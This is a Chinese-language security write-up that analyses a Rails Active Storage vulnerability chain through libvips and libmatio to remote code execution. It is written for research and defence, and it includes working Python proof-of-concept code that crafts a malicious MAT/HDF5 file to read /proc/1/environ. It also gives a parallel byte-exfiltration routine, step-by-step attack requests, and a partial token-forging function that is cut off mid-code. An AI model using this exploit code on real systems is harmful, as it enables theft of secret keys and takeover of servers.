免责声明

本文仅用于安全研究与防御教育目的。所涉及的技术细节、代码片段与利用链分析均基于公开的安全公告、厂商补丁及授权研究环境中的复现实验。读者不得将本文内容用于任何未经授权的系统测试、攻击或入侵活动。在未获得目标系统所有者明确书面授权的情况下,对任何真实系统实施本文描述的技术均属违法行为,作者不承担由此产生的任何法律责任。

本文中的 PoC 代码已做脱敏与最小化处理,旨在帮助安全工程师理解漏洞机理并构建检测规则,而非提供可直接武器化的攻击工具。如果你在生产环境中运行 Rails 且受此漏洞影响,请立即按照本文"补丁分析与修复方案"一节升级并轮换密钥。


漏洞概述

2026 年 7 月 29 日,Ruby on Rails 项目发布了安全公告 GHSA-xr9x-r78c-5hrm,披露了 CVE-2026-66066——一个影响 Active Storage 变体处理的严重漏洞,CVSS v4 评分高达 9.5。该漏洞由 Ethiack 研究团队(André Baptista / 0xacb、Bruno Mendes / S3np41k1r1t0、Rafael Castilho)与 GMO Flatt Security 的 RyotaK 独立发现并联合报告,代号 KindaRails2Shell。

漏洞的核心链条可以用一句话概括:Active Storage 将不可信用户上传的文件交给了 libvips 中已被标记为"对不可信内容不安全"的操作,而 libvips 的字节嗅探器与底层 libmatio 库对同一个 MAT 文件头部做出了相互矛盾的判断,使得攻击者可以借助 HDF5 外部存储特性读取服务器任意文件——包括 secret_key_base——随后伪造签名变换令牌实现 RCE。

该漏洞的危险性体现在以下几个维度:

  1. 默认配置即受影响:Rails 7.0 起 load_defaults 7.0 将 Vips 设为 Active Storage 的默认变体处理器,官方 Rails Docker 镜像在 Debian 基础上默认 apt install libvips。任何接受不可信用户图片上传的默认 Rails 应用均受影响,无需额外配置错误。

  2. 未认证即可触发文件读取:文件读取阶段不需要 secret_key_base,攻击者只需从目标应用任意响应中采集一个合法的 variation_key,配合直接上传的 blob 即可触发。这使得攻击的初始门槛极低。

  3. 文件读取到 RCE 的平滑升级:一旦读取到 /proc/self/environ 或 config/master.key + config/credentials.yml.enc,攻击者即可恢复 secret_key_base,进而伪造 Active Storage 签名令牌。由于 Vips 变换器未覆盖 validate_transformation 白名单(ImageMagick 有而 Vips 没有),伪造的变换可以触发任意方法调用,最终到达 Kernel#spawn 或 Kernel#eval 实现 RCE。

  4. 修复依赖外部库版本:修复不仅需要升级 Rails,还要求 libvips >= 8.13(旧版本根本无法禁用不安全操作,Active Storage 在此环境下启动时直接抛出异常)。

属性 详情
CVE 编号 CVE-2026-66066
CVSS v4 9.5(Critical)
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE CWE-1188(使用不安全默认值初始化资源)
影响范围 activestorage < 7.2.3.2;>= 8.0, < 8.0.5.1;>= 8.1, < 8.1.3.1
修复版本 7.2.3.2、8.0.5.1、8.1.3.1
前置条件 libvips >= 8.13(修复必须)、ruby-vips >= 2.2.1
公开 PoC Metasploit 模块 exploit/multi/http/rails_activestorage_vips_rce 已公开

Active Storage 图像处理架构

要理解这个漏洞,必须先理解 Rails Active Storage 是如何将一个用户上传的文件变成一张缩略图的。整个架构涉及四个层次的信任传递。

3.1 从上传到变体的请求流

Active Storage 支持两种上传方式:常规附件上传(multipart 表单)和直接上传(Direct Upload,JavaScript 客户端先创建 blob 记录,再直接 PUT 到存储服务)。直接上传是现代 Rails 应用的主流模式,也是本漏洞利用的关键入口。

# Rails 8.0.5 — ActiveStorage::DirectUploadsController#create
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}])
            .to_h.symbolize_keys
    end
end

在直接上传路径中,content_type 直接来自客户端请求参数,经 create_before_direct_upload! 写入数据库 blob 记录。这个路径永远不会运行服务端的 Marcel 内容类型识别流程。 作为对比,通过常规 multipart 附件上传时,Rails 会用 Marcel 重新识别文件字节的真实类型——在实验室环境中,同样的恶意文件通过常规附件上传时会被识别为 MATLAB 数据,从而无法通过图像门控。

3.2 变体生成与 Vips 管道

当应用请求一个变体(variant)或表示(representation)时,Active Storage 会将 blob 下载到临时文件,然后交给 image_processing gem 处理:

# activestorage — 变体处理流程
def process(file, format:)
  processor.
    source(file).
    loader(page: 0).       # 注意:此处不指定加载器,仅存储选项
    convert(format).
    apply(operations).     # 将签名后的变换列表转发给 image_processing
    call
end

def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end

关键在于 loader(page: 0) 这一行——它看起来像是在指定加载器,实际上只是存储了一些选项,真正的加载器选择延迟到 libvips 内部完成。在 image_processing 1.14.0 中,路径最终到达:

# image_processing — Vips::Image.new_from_file
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
  if path_or_image.is_a?(::Vips::Image)
    image = path_or_image
  else
    path = path_or_image
    if loader
      image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
    else
      options = Utils.select_valid_loader_options(path, options)
      image = ::Vips::Image.new_from_file(path, **options)  # ← 加载器选择交给 libvips
    end
  end
  image = image.autorot if autorot && !options.key?(:autorotate)
  image
end

由于 loader: 保持为 nil,加载器的选择完全交给 libvips 的文件嗅探器。这就是架构层面的第一个信任失败点:Active Storage 信任数据库中的 content_type,libvips 信任文件字节,两者之间没有任何一致性校验。

3.3 libvips 的字节嗅探机制

libvips 通过"加载器"(loaders)和"保存器"(savers)来读写各种文件格式。根据编译时链接的第三方库,libvips 可以加载 PDF(via poppler)、SVG(via librsvg)、FITS 天文图像、NIfTI 医学扫描、OpenSlide 病理切片、Radiance HDR 以及 MATLAB .mat 文件等远超常规 Web 图像范围的格式。

libvips 选择加载器的方式是字节嗅探——它不信任文件名或声明的 MIME 类型,而是依次运行每个加载器的探测器(sniffer),直到有一个探测器说"这是我的格式"。这是一个合理的安全设计,但问题在于:libvips 将一部分格式标记为"未经模糊测试"(unfuzzed / untrusted),意味着它们对不可信内容不安全,而 Active Storage 在处理前并未禁用这些不安全操作。


漏洞根因:四层信任失败

CVE-2026-66066 不是一个单一的缺陷,而是四层信任边界同时失效的结果。每一层单独来看都有其合理性,但当它们组合在一起时,形成了一条从上传到 RCE 的完整通路。

4.1 第一层:content_type 闸门只看数据库列

Active Storage 通过 Blob#variable? 决定一个 blob 是否可以被变换。该方法仅检查存储在数据库中的 content_type 字段:

# activestorage — Blob::Representable
def variable?
  ActiveStorage.variable_content_types.include?(content_type)
end

ActiveStorage.variable_content_types 是一个允许列表,包含 image/png、image/jpeg 等。注意它检查的是什么:声明的 content_type,一个字符串。而这个字符串在直接上传路径中直接来自客户端——Rails 从不检查文件字节。攻击者只需在 POST /rails/active_storage/direct_uploads 时声明 content_type: "image/png",数据库里就会记录一个"图像"blob,而实际字节是精心构造的 MAT 文件。

4.2 第二层:libvips 字节嗅探信任文件字节

如前所述,libvips 通过 vips__mat_ismat 嗅探器决定是否将文件路由到 matload 加载器。这个嗅探器的全部逻辑只是一个 10 字节前缀检查:

// libvips 8.16.1 — vips__mat_ismat
int vips__mat_ismat(const char *filename)
{
    unsigned char buf[15];

    if (vips__get_bytes(filename, buf, 10) == 10 &&
        vips_isprefix("MATLAB 5.0", (char *) buf))  // 只看前10字节
        return 1;

    return 0;
}

一个文件只要以 MATLAB 5.0 开头,libvips 就会选择 matload 加载器。有趣的是,真正的 MAT 7.3 文件以 MATLAB 7.3 MAT-file 开头,反而无法通过这个检查。

4.3 第三层:Vips.block_untrusted(true) 从未被调用

libvips 8.13 引入了 Vips.block_untrusted 机制,允许全局禁用标记为 VIPS_OPERATION_UNTRUSTED 的操作。matload 正是被标记为 untrusted 的操作之一:

// libvips 8.16.1 — vips_foreign_load_mat_class_init
static void vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
    // ... 类初始化 ...

    operation_class->flags |= VIPS_OPERATION_UNTRUSTED;  // 标记为不安全

    foreign_class->suffs = vips__mat_suffs;
    load_class->is_a = vips__mat_ismat;  // 注册嗅探器
}

libvips 已经知道 matload 对不可信内容不安全并做了标记,但 Active Storage 从未调用 Vips.block_untrusted(true) 来实际禁用这些操作。这是 CWE-1188(使用不安全默认值初始化资源)的典型体现——libvips 提供了安全开关,但默认关闭,而 Active Storage 没有主动开启它。

4.4 第四层:libvips 与 libmatio 的头部分歧

这是整个漏洞链中最精妙的一环。当 matload 被选中后,libvips 将文件交给底层库 libmatio 处理。然而,两个库检查的是同一个 MAT 文件头部中不同的字段,从而得出了相互矛盾的结论。

MAT 文件头部为 128 字节。libvips 的嗅探器检查偏移 0 处的文本描述字段;libmatio 则根据偏移 124-125 处的 2 字节版本字段来分派解析器:

// libmatio 1.5.28 — 版本枚举
enum mat_ft
{
    MAT_FT_MAT73 = 0x0200,  // Matlab 7.3 文件(HDF5 后端)
    MAT_FT_MAT5  = 0x0100,  // Matlab 5 文件(经典解析器)
    MAT_FT_MAT4  = 0x0010,  // Matlab 4 文件
    MAT_FT_UNDEFINED = 0
};
// libmatio 1.5.28 — Mat_Open
bytesread += fread(mat->header, 1, 116, fp);       // 偏移0-115: 文本描述
mat->header[116] = '\0';
bytesread += fread(mat->subsys_offset, 1, 8, fp);   // 偏移116-123: 子系统偏移
bytesread += 2 * fread(&tmp2, 2, 1, fp);             // 偏移124-125: 版本字段
bytesread += fread(&tmp, 1, 2, fp);                  // 偏移126-127: 字节序标记

if (128 == bytesread) {
    mat->byteswap = -1;
    if (tmp == 0x4d49)        // "IM" → 大端
        mat->byteswap = 0;
    else if (tmp == 0x494d) { // "MI" → 小端
        mat->byteswap = 1;
        Mat_int16Swap(&tmp2);
    }
    mat->version = (int)tmp2;  // ← 存储版本字段(来自字节124-125)

    if ((mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap) {
        mat->bof = ftello((FILE *)mat->fp);
        mat->next_index = 0;
    } else {
        mat->version = 0;
    }
}

随后在读取数据时,libmatio 根据 mat->version 分派到不同的读取器:

// libmatio — ReadData
static int ReadData(mat_t *mat, matvar_t *matvar)
{
    if (mat->version == MAT_FT_MAT5)
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if (mat->version == MAT_FT_MAT73)
        return Mat_VarRead73(mat, matvar);  // ← 进入 HDF5 后端读取路径
#endif
    else if (mat->version == MAT_FT_MAT4)
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

一个文件可以对 libvips 说"我是 MATLAB 5.0",同时让 libmatio 走 MAT 7.3(HDF5)的读取路径。 这种头部分歧是整个利用链的基石。下表总结了四层信任失败的完整图景:

┌─────────────────────────────────────────────────────────────────────────┐
│                    四层信任失败模型 (Four-Layer Trust Failure)           │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  第一层: Active Storage content_type 闸门                                │
│  ┌─────────────────────────────────────────────┐                        │
│  │ Blob#variable? 仅检查数据库 content_type 列  │                        │
│  │ 直接上传路径不检查文件字节                     │                        │
│  │ 攻击者声明 image/png → 通过图像门控           │                        │
│  └──────────────────────┬──────────────────────┘                        │
│                         ▼                                               │
│  第二层: libvips 字节嗅探                                                 │
│  ┌─────────────────────────────────────────────┐                        │
│  │ vips__mat_ismat 只检查前 10 字节             │                        │
│  │ 文件头声称 "MATLAB 5.0" → 选择 matload       │                        │
│  │ 不信任文件名/MIME,信任文件字节               │                        │
│  └──────────────────────┬──────────────────────┘                        │
│                         ▼                                               │
│  第三层: Vips.block_untrusted 未调用                                      │
│  ┌─────────────────────────────────────────────┐                        │
│  │ matload 标记为 VIPS_OPERATION_UNTRUSTED       │                        │
│  │ 但 Active Storage 从未调用 block_untrusted    │                        │
│  │ 不安全加载器照常执行                           │                        │
│  └──────────────────────┬──────────────────────┘                        │
│                         ▼                                               │
│  第四层: libvips/libmatio 头部分歧                                        │
│  ┌─────────────────────────────────────────────┐                        │
│  │ libvips 看字节 0-9:   "MATLAB 5.0" → 是 MAT   │                        │
│  │ libmatio 看字节 124-125: 0x0200 → MAT 7.3     │                        │
│  │ 分歧导致进入 HDF5 读取路径                     │                        │
│  └─────────────────────────────────────────────┘                        │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

双重身份文件构造

要同时满足 libvips 嗅探器和 libmatio 版本分派器的要求,攻击者需要构造一个"双重身份"文件——它对 libvips 看起来像 MAT 5.0,对 libmatio 看起来像 MAT 7.3。

5.1 MAT 文件头部布局

一个标准的 MAT 文件头部为 128 字节,布局如下:

偏移 长度 字段 说明
0 116 文本描述 人类可读的格式描述文本
116 8 子系统偏移 子系统数据偏移量
124 2 版本 0x0100=MAT5,0x0200=MAT7.3
126 2 字节序 IM(0x4d49)=大端,MI(0x494d)=小端

libvips 只看偏移 0-9,要求精确匹配 MATLAB 5.0。研究团队测试了所有版本字符串——MATLAB 7.3、MATLAB 7.0、MATLAB 6.0 全部被嗅探器拒绝。这个 10 字节字符串是此攻击向量的强制条件。

libmatio 只看偏移 124-125 的版本字段来决定走哪条解析路径。文本描述字段对版本分派没有任何影响。

5.2 HDF5 用户块机制

这里有一个关键问题:MAT 7.3 本质上就是 HDF5 文件,而 HDF5 文件以 8 字节签名 \x89HDF\r\n\x1a\n 开头。但如果文件开头是 MATLAB 5.0,HDF5 库怎么识别它?

答案是 HDF5 用户块(userblock) 机制。HDF5 允许在真正的超级块(superblock)之前放置一个任意大小的前导块(必须是 512 的幂,最小 512 字节)。libmatio 在打开 MAT 7.3 文件时,会在偏移 512 处寻找 HDF5 超级块签名。

因此,双重身份文件的布局如下:

偏移 0:      "MATLAB 5.0 MAT-file..."     ← libvips 嗅探器: "是 MAT 文件"
偏移 124:    0x0200                        ← libmatio: 版本 0x0200 → 使用 HDF5 后端
偏移 126:    "IM" (0x4d49)                 ← 字节序标记(大端)
偏移 128:    (填充至 512 字节)
偏移 512:    \x89HDF\r\n\x1a\n             ← HDF5 超级块签名
             + 数据集 "x",使用外部存储 → 指向目标文件

这种构造的巧妙之处在于:一个文件的前 128 字节声称自己是 MATLAB 5.0(欺骗 libvips),但版本字段 0x0200 让 libmatio 走 HDF5 读取路径。正常的 MAT 5 文件有文本但没有 MAT 7.3 版本标记;正常的 MAT 7.3 文件有版本标记但文本是 MATLAB 7.3。这个双重身份文件是一个正常世界中不存在的混合体——它利用了两个库对同一头部的不同关注点。

5.3 Python PoC:构造双重身份文件

下面是使用 Python h5py 库构造恶意文件的核心代码。该代码创建一个 512 字节用户块,在偏移 0 写入 MATLAB 5.0 文本,在偏移 124-127 写入 MAT 7.3 版本与字节序标记,然后在偏移 512 处放置一个带外部存储的 HDF5 数据集。

import h5py
import numpy as np
import struct

def craft_dual_identity_mat(target_path: str, read_bytes: int = 4096,
                            target_file: str = "/proc/1/environ") -> None:
    """
    构造双重身份 MAT/HDF5 文件:
      - 文件头声称 "MATLAB 5.0" (欺骗 libvips 嗅探器,只看前10字节)
      - 版本字段 0x0200 (欺骗 libmatio,走 HDF5 读取路径)
      - HDF5 外部数据集指向 target_file

    参数:
      target_path:  输出文件路径
      read_bytes:   要从目标文件读取的字节数
      target_file:  要读取的目标文件路径 (如 /proc/1/environ)
    """

    # 第一步: 创建带 512 字节用户块的 HDF5 文件
    with h5py.File(target_path, "w", userblock_size=512) as f:
        # 创建一个 uint8 数据集,其字节存储在外部文件中
        # external 参数接受 (文件名, 偏移, 大小) 三元组列表
        # → 底层调用 H5Pset_external
        f.create_dataset(
            "x",
            shape=(1, read_bytes),
            dtype="uint8",
            external=[(target_file, 0, read_bytes)]
        )
        # 设置 MATLAB_class 属性,让 libmatio 识别为 MATLAB 变量
        f["x"].attrs.create(
            "MATLAB_class",
            np.frombuffer(b"uint8", dtype="S5")[0]
        )

    # 第二步: 在 512 字节用户块中写入欺骗性 MAT 头部
    with open(target_path, "r+b") as f:
        # 偏移 0-115: 文本描述 (libvips 只看前 10 字节)
        header_text = b"MATLAB 5.0 MAT-file, crafted dual-identity"
        header_text = header_text.ljust(116, b"\x00")
        f.seek(0)
        f.write(header_text)

        # 偏移 116-123: 子系统偏移 (8 字节,置零)
        f.seek(116)
        f.write(b"\x00" * 8)

        # 偏移 124-125: 版本字段 0x0200 = MAT_FT_MAT73 (大端)
        # 这是欺骗 libmatio 的关键字段
        f.seek(124)
        f.write(struct.pack(">H", 0x0200))  # 大端: 0x02 0x00

        # 偏移 126-127: 字节序标记 "IM" (0x4d49 = 大端)
        f.seek(126)
        f.write(b"IM")

    print(f"[+] 双重身份文件已生成: {target_path}")
    print(f"[+] libvips 嗅探器将看到: MATLAB 5.0 (偏移 0-9)")
    print(f"[+] libmatio 将读取版本: 0x0200 = MAT 7.3 (偏移 124-125)")
    print(f"[+] HDF5 外部存储指向: {target_file} (读取 {read_bytes} 字节)")
    print(f"[+] HDF5 超级块位于偏移: 512 (用户块之后)")

# 使用示例: 构造读取 /proc/1/environ 的恶意文件
craft_dual_identity_mat(
    target_path="afr.mat",
    read_bytes=4096,
    target_file="/proc/1/environ"
)

运行后生成的文件,其前 128 字节头部如下:

0000:  4d 41 54 4c 41 42 20 35 2e 30 20 4d 41 54 2d 66   MATLAB 5.0 MAT-f
0010:  69 6c 65 2c 20 63 72 61 66 74 65 64 20 64 75 61   ile, crafted dua
...
0070:  00 00 00 00 00 00 00 00 00 00 00 00 02 00 49 4d   ............[version][endian]
                            偏移124-125 ^^^^^^ ^^^^^^ 偏移126-127
                            0x0200=MAT73   "IM"=大端
0200:  89 48 44 46 0d 0a 1a 0a ...                        [HDF5 超级块签名]
       ^^^^^^^^^^^^^^^^^^^^^^^^^
       偏移 512 处的 HDF5 签名

HDF5 外部存储文件读取原语

双重身份文件解决了"如何让 libmatio 走 HDF5 路径"的问题,而 HDF5 的外部存储(External Storage)特性则提供了任意文件读取的能力。

6.1 H5Pset_external 机制

HDF5 是一种用于科学数据的层次化数据格式。当创建一个数据集时,可以告诉 HDF5 这个数据集的原始字节不存储在文件内部,而是存储在另一个文件、任意路径、某个偏移处。这是一个合法的 HDF5 特性,设计用于过大的数据集——数据集的创建属性列表(creation property list)携带一系列 (文件名, 偏移, 大小) 三元组,当读取数据集时,HDF5 会透明地打开这些外部文件并从中读取字节。

// HDF5 API — H5Pset_external
herr_t H5Pset_external(hid_t plist, const char *name,
                       off_t offset, hsize_t size);
// plist:  数据集创建属性列表
// name:   外部文件名 (可以是任意路径,如 /etc/passwd)
// offset: 在外部文件中的字节偏移
// size:   要读取的字节数

6.2 libmatio 从不检查外部存储

libmatio 在读取 MAT 7.3 变量数据时,最终通过 H5Dread 调用让 HDF5 库读取数据集。关键问题是:libmatio 在读取路径中从不调用 H5Pget_external_count() 来检查数据集是否使用了外部存储。

// libmatio — Mat_H5ReadData (简化)
static int Mat_H5ReadData(hid_t dset_id, hid_t h5_type,
                          hid_t mem_space, hid_t dset_space,
                          int isComplex, void *data)
{
    // ★ 注意: 此处没有调用 H5Pget_external_count() 检查外部存储
    // ★ 也没有调用 H5Pget_external() 获取外部文件信息
    // 唯一的存储验证是对分块数据集的截断检查

    herr_t herr;
    if (!isComplex) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space,
                       H5P_DEFAULT, data);  // ← HDF5 解析外部存储条目
        if (herr < 0) {
            return MATIO_E_GENERIC_READ_ERROR;
        }
    }
    // ...
}

H5Dread 会解析外部存储条目,打开攻击者指定的文件(如 /proc/1/environ),并将其字节复制到 MAT 变量的数据缓冲区中。随后,libvips 将这些字节当作图像像素处理,Active Storage 将它们作为渲染后的 PNG 表示返回给攻击者。

6.3 逐字节读取技术

将文件字节读取为图像像素有一个技术挑战:如果变换包含 resize_to_limit 等缩放操作,插值算法会混合相邻像素,破坏逐字节读取的精确性。

Ethiack 团队给出的解决方案是:使用 1×1 图像,每次请求只读取一个字节。 由于 1×1 图像没有相邻像素可供混合,单个像素会精确返回目标字节。通过并行化多个偏移量请求,可以像流式读取一样从缩略图中提取任意文件内容。超出文件末尾的读取会返回零填充字节,因此可以自动探测文件长度。

# 逐字节读取目标文件 (并行化)
import concurrent.futures

def read_byte_at_offset(offset: int, target_file: str) -> int:
    """构造一个 1x1 外部存储数据集,从 target_file 偏移 offset 处读取 1 字节"""
    craft_dual_identity_mat(
        target_path=f"/tmp/byte_{offset}.mat",
        read_bytes=1,
        target_file=target_file
    )
    # 上传该文件并触发变体处理,解析返回 PNG 的单像素值
    pixel_value = trigger_and_parse_representation(f"/tmp/byte_{offset}.mat")
    return pixel_value

def exfiltrate_file(target_file: str, max_size: int = 8192) -> bytes:
    """通过 1x1 缩略图逐字节提取文件内容"""
    with concurrent.futures.ThreadPoolExecutor(max_workers=32) as pool:
        futures = {
            pool.submit(read_byte_at_offset, offset, target_file): offset
            for offset in range(max_size)
        }
        result = bytearray(max_size)
        for future in concurrent.futures.as_completed(futures):
            offset = futures[future]
            byte = future.result()
            if byte == 0:
                # 零填充可能意味着文件结束,但需确认
                continue
            result[offset] = byte
    return bytes(result).rstrip(b"\x00")

研究团队后来发现还可以利用锐化滤镜(unsharpening filter)等技术,通过单张图像一次性提取更多字节,大幅提高外泄效率。

6.4 文件读取原语的全景

┌──────────────────────────────────────────────────────────────────────┐
│              HDF5 外部存储文件读取原语 (AFR Primitive)                │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  攻击者构造的恶意文件:                                                │
│  ┌──────────────────────────────────────────┐                        │
│  │ [MAT 5.0 头部] [版本 0x0200] [HDF5 数据]  │                        │
│  │                         │                 │                        │
│  │    外部数据集 "x" ──────┘ (external=...)  │                        │
│  └─────────────────────────┬────────────────┘                        │
│                            │ H5Dread() 解析外部存储条目               │
│                            ▼                                         │
│  ┌──────────────────────────────────────────┐                        │
│  │  目标文件: /proc/1/environ                │                        │
│  │  ┌────────────────────────────────────┐  │                        │
│  │  │ SECRET_KEY_BASE=abc123...          │  │                        │
│  │  │ RAILS_MASTER_KEY=def456...         │  │                        │
│  │  │ DATABASE_URL=postgres://...        │  │                        │
│  │  └────────────────────────────────────┘  │                        │
│  └─────────────────────────┬────────────────┘                        │
│                            │ 字节被复制到 MAT 变量缓冲区             │
│                            ▼                                         │
│  ┌──────────────────────────────────────────┐                        │
│  │  libvips 将字节当作图像像素              │                        │
│  │  Active Storage 渲染为 PNG 返回          │                        │
│  │  攻击者解析像素 → 还原文件字节           │                        │
│  └──────────────────────────────────────────┘                        │
│                                                                      │
│  ★ 1×1 图像 = 逐字节精确读取 (无插值混合)                            │
│  ★ 并行化多个偏移 = 流式文件外泄                                     │
│  ★ 超出 EOF = 零填充 (自动探测文件长度)                              │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

完整利用链九阶段

KindaRails2Shell 的完整利用链由九个阶段组成,从获取 CSRF 令牌开始,到最终实现远程代码执行结束。前六个阶段实现任意文件读取(不需要 secret_key_base),后三个阶段利用泄露的密钥实现 RCE 升级。

┌─────────────────────────────────────────────────────────────────────────┐
│                  KindaRails2Shell 完整利用链 (九阶段)                   │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  阶段1        阶段2          阶段3          阶段4                       │
│  ┌────┐      ┌────────┐    ┌──────────┐   ┌──────────┐                │
│  │CSRF│─────▶│上传正常│   │创建直接  │   │上传恶意  │                │
│  │令牌│      │PNG获取 │   │上传blob  │   │MAT/HDF5  │                │
│  └────┘      │var_key │   │(类型欺骗)│   │文件      │                │
│              └────────┘    └──────────┘   └──────────┘                │
│                   │              │              │                       │
│                   └──────────────┴──────────────┘                      │
│                                  │                                      │
│                                  ▼                                      │
│                          阶段5: 触发图像处理                              │
│                   (复用 var_key + 新 blob 的 signed_id)                  │
│                                  │                                      │
│                                  ▼                                      │
│                          阶段6: 读取 /proc/1/environ                    │
│                   → 提取 secret_key_base                                 │
│                                  │                                      │
│            ┌─────────────────────┴────────────────────┐                │
│            │              RCE 升级分界线                │                │
│            └─────────────────────┬────────────────────┘                │
│                                  ▼                                      │
│                          阶段7: 伪造变换令牌                              │
│                   (HMAC(secret, Marshal payload))                       │
│                                  │                                      │
│                                  ▼                                      │
│                          阶段8: 触发反序列化                              │
│                   (携带伪造令牌的 representation 请求)                    │
│                                  │                                      │
│                                  ▼                                      │
│                          阶段9: RCE                                      │
│                   (Kernel#spawn / Kernel#eval)                          │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

阶段 1:获取 CSRF 令牌

攻击的第一步是访问目标应用首页,提取 CSRF 令牌。这是 Rails 所有写操作的标准要求。

GET / HTTP/1.1
Host: victim.example.com

响应中的 <meta> 标签包含 CSRF 令牌:

<meta name="csrf-token" content="7G3F...TOKEN...ABCD">

阶段 2:上传正常 PNG,采集 variation_key

攻击者上传一张无害的 PNG 图片。这一步的真正目的不是上传图片本身,而是从响应中采集一个合法的 variation_key。

POST /uploads HTTP/1.1
Host: victim.example.com
Content-Type: multipart/form-data; boundary=----BOUNDARY
X-CSRF-Token: 7G3F...TOKEN...ABCD

------BOUNDARY
Content-Disposition: form-data; name="authenticity_token"

7G3F...TOKEN...ABCD
------BOUNDARY
Content-Disposition: form-data; name="upload[avatar]"; filename="safe.png"
Content-Type: image/png

<PNG DATA>
------BOUNDARY--

响应中包含表示 URL,其中携带合法的 variation_key:

<img src="/rails/active_storage/representations/redirect/eyJ...signed_blob_id.../eyJ...variation_key.../safe.png">

关键性质:variation_key 只签名变换操作(如 {"resize_to_limit":[1024,768]}),不签名 blob。 这意味着它是 blob 无关的、可重放的,并且被设计为公开的。攻击者可以从应用任何响应中、og:image 元标签中、API 响应中、甚至互联网档案馆(Wayback Machine)的多年旧快照中采集一个合法的 variation_key。

阶段 3:创建直接上传 blob(content_type 欺骗)

利用采集到的 CSRF 令牌,攻击者调用直接上传端点创建一个 blob 记录。这里的关键欺骗是声明 content_type: "image/png",而实际要上传的是恶意 MAT 文件。

POST /rails/active_storage/direct_uploads HTTP/1.1
Host: victim.example.com
Content-Type: application/json
X-CSRF-Token: 7G3F...TOKEN...ABCD

{
  "blob": {
    "filename": "profile.png",
    "byte_size": 4608,
    "checksum": "...",
    "content_type": "image/png"
  }
}

响应返回 signed_id 和上传 URL:

{
  "signed_id": "eyJ...",
  "direct_upload": {
    "url": "/rails/active_storage/disk/...",
    "headers": {
      "Content-Type": "image/png"
    }
  }
}

此时数据库中的 blob 记录 content_type 为 image/png,Blob#variable? 返回 true——但文件尚未上传。

阶段 4:上传恶意 MAT/HDF5 文件

攻击者将阶段 5.3 中构造的双重身份文件上传到返回的存储 URL。文件的实际字节是 MAT/HDF5 混合格式,但数据库中的 content_type 仍然是 image/png。

PUT /rails/active_storage/disk/... HTTP/1.1
Host: victim.example.com
Content-Type: image/png

<MATLAB 5.0 头部 + 版本 0x0200 + HDF5 外部存储数据集>
HTTP/1.1 204 No Content

阶段 5:触发图像处理(复用 variation_key)

这是整个利用链中最关键的"缝合"步骤。攻击者构造一个表示 URL,使用阶段 3 创建的恶意 blob 的 signed_id,配合阶段 2 采集的合法 variation_key。

GET /rails/active_storage/representations/redirect/<恶意blob的signed_id>/<采集的variation_key>/profile.png HTTP/1.1
Host: victim.example.com

为什么这能工作?因为 Active Storage 的表示路由对 signed_blob_id 和 variation_key 进行独立的签名验证,两者之间没有交叉校验:

# activestorage — ActiveStorage::SetBlob
def set_blob
  @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id])
rescue ActiveSupport::MessageVerifier::InvalidSignature
  head :not_found
end

# activestorage — Representations::BaseController
def set_representation
  @representation = @blob.representation(params[:variation_key]).processed
rescue ActiveSupport::MessageVerifier::InvalidSignature
  head :not_found
end

# activestorage — Variation.decode
def decode(key)
  new ActiveStorage.verifier.verify(key, purpose: :variation)
end

set_blob 验证 blob ID 的签名,set_representation 单独验证 variation_key 的签名并应用到该 blob。两者之间没有绑定关系。 攻击者可以将任何应用曾发出的 variation_key 与新创建 blob 的 signed_id 拼接使用。

此时 Rails 调用 libvips 处理这个"image/png"——libvips 嗅探字节发现 MATLAB 5.0,选择 matload;libmatio 读取版本字段 0x0200,走 HDF5 路径;HDF5 解析外部存储条目,打开 /proc/1/environ 并将其字节复制到数据缓冲区;libvips 将这些字节当作像素渲染为 PNG。

阶段 6:读取 /proc/1/environ 获取 secret_key_base

返回的 PNG 图像的像素中包含了 /proc/1/environ 的内容。攻击者解析返回的 PNG,从像素中提取环境变量:

SECRET_KEY_BASE=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
RAILS_MASTER_KEY=yyyyyyyyyyyyyyyy
DATABASE_URL=postgres://user:pass@host/db

secret_key_base 是 Rails 签名体系的核心密钥。获取它意味着攻击者可以伪造任何签名数据——包括 Active Storage 的 variation_key。

注意:文件读取阶段完全不需要 secret_key_base。 这是本漏洞最危险的特性之一——攻击者可以在恢复 Rails 密钥或伪造令牌之前就读取任意文件。

阶段 7:伪造变换令牌

获取 secret_key_base 后,攻击者可以伪造自己的 variation_key。Active Storage 的验证器密钥派生自 secret_key_base:

# Rails 密钥派生 (简化)
# verifier_key = PBKDF2-HMAC-SHA256(secret_key_base, "ActiveStorage", 1000, 64)
# variation_key = HMAC(verifier_key, serialized_transform_payload)

攻击者构造一个恶意的变换 payload 并签名:

# 伪造 Active Storage 变换令牌
import hashlib
import hmac
import base64

def forge_variation_token(secret_key_base: str, malicious_transform: dict) -> str:
    """
    使用泄露的 secret_key_base 伪造 Active Storage variation_key
    """
    # 派生验证器密钥 (PBKDF2-HMAC-SHA256)
    verifier_key = hashlib.pbkdf2_hmac(
        "sha256",
        secret_key_base.encode(),
        b"ActiveStorage",
        1000,
        64
    )
    # 序列化变换 payload (Ruby Marshal 格式或 JSON)
    # payload 示例: {"resize_to_limit": [1, 1]} 或恶意方法调用
    serialized = serialize_ruby_marshal(malicious_transform)
    # 签名
